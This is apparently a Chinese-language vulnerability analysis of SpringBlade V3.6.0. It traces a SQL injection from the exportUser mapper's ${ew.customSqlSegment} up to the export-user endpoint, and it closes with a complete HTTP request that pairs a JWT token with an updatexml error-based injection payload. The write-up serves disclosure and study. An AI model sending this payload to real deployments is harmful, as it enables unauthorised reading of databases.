Ref#
SpringBlade V3.6.0
SpringBlade漏洞详解
Mybatis Wrappers自定义SQL
Vulnerables#
SQL Injection#
blade-service/blade-user/src/main/java/org/springblade/system/user/mapper/UserMapper.xml
<select id="exportUser" resultType="org.springblade.system.user.excel.UserExcel">
SELECT id, tenant_id, account, name, real_name, email, phone, birthday, role_id, dept_id, post_id FROM blade_user ${ew.customSqlSegment}
</select>${ew.customSqlSegment} 是 Mybatis Wrapper 功能中提供自定义 SQL 语义注入的参数, 是十分危险的
使用 IDE 回溯到调用接口
org.springblade.system.user.mapper.UserMapper#exportUserorg.springblade.system.user.service.impl.UserServiceImpl#exportUserorg.springblade.system.user.controller.UserController#exportUser
@SneakyThrows
@GetMapping("export-user")
@ApiOperationSupport(order = 13)
@ApiOperation(value = "导出用户", notes = "传入user")
public void exportUser(@ApiIgnore @RequestParam Map<String, Object> user, BladeUser bladeUser, HttpServletResponse response) {
QueryWrapper<User> queryWrapper = Condition.getQueryWrapper(user, User.class);
if (!SecureUtil.isAdministrator()){
queryWrapper.lambda().eq(User::getTenantId, bladeUser.getTenantId());
}
queryWrapper.lambda().eq(User::getIsDeleted, BladeConstant.DB_NOT_DELETED);
List<UserExcel> list = userService.exportUser(queryWrapper);
response.setContentType("application/vnd.ms-excel");
response.setCharacterEncoding(Charsets.UTF_8.name());
String fileName = URLEncoder.encode("用户数据导出", Charsets.UTF_8.name());
response.setHeader("Content-disposition", "attachment;filename=" + fileName + ".xlsx");
EasyExcel.write(response.getOutputStream(), UserExcel.class).sheet("用户数据表").doWrite(list);
}
List<UserExcel> exportUser(@Param("ew") Wrapper<User> queryWrapper);注入参数没有任何检查, 只需登录获取 token 即可
GET /api/blade-user/export-user?blade-auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwidG9rZW5fdHlwZSI6ImFjY2Vzc190b2tlbiIsImRlcHRfaWQiOiIxMTIzNTk4ODEzNzM4Njc1MjAxIiwiYWNjb3VudCI6ImFkbWluIiwiY2xpZW50X2lkIjoic3dvcmQiLCJleHAiOjE3MDkxMDQyMDcsIm5iZiI6MTcwOTEwMDYwN30.-Nniy1hq-gVtymm1MFWgbAuTOjwiMMheMccrXoIeeL4hbpRqMS2Fbsmf7EiJWBwMqSPX_Us4MAPevRdZVauNEQ&account=&realName=&updatexml(1,concat(0x7e,user(),0x7e),1)=1 HTTP/1.1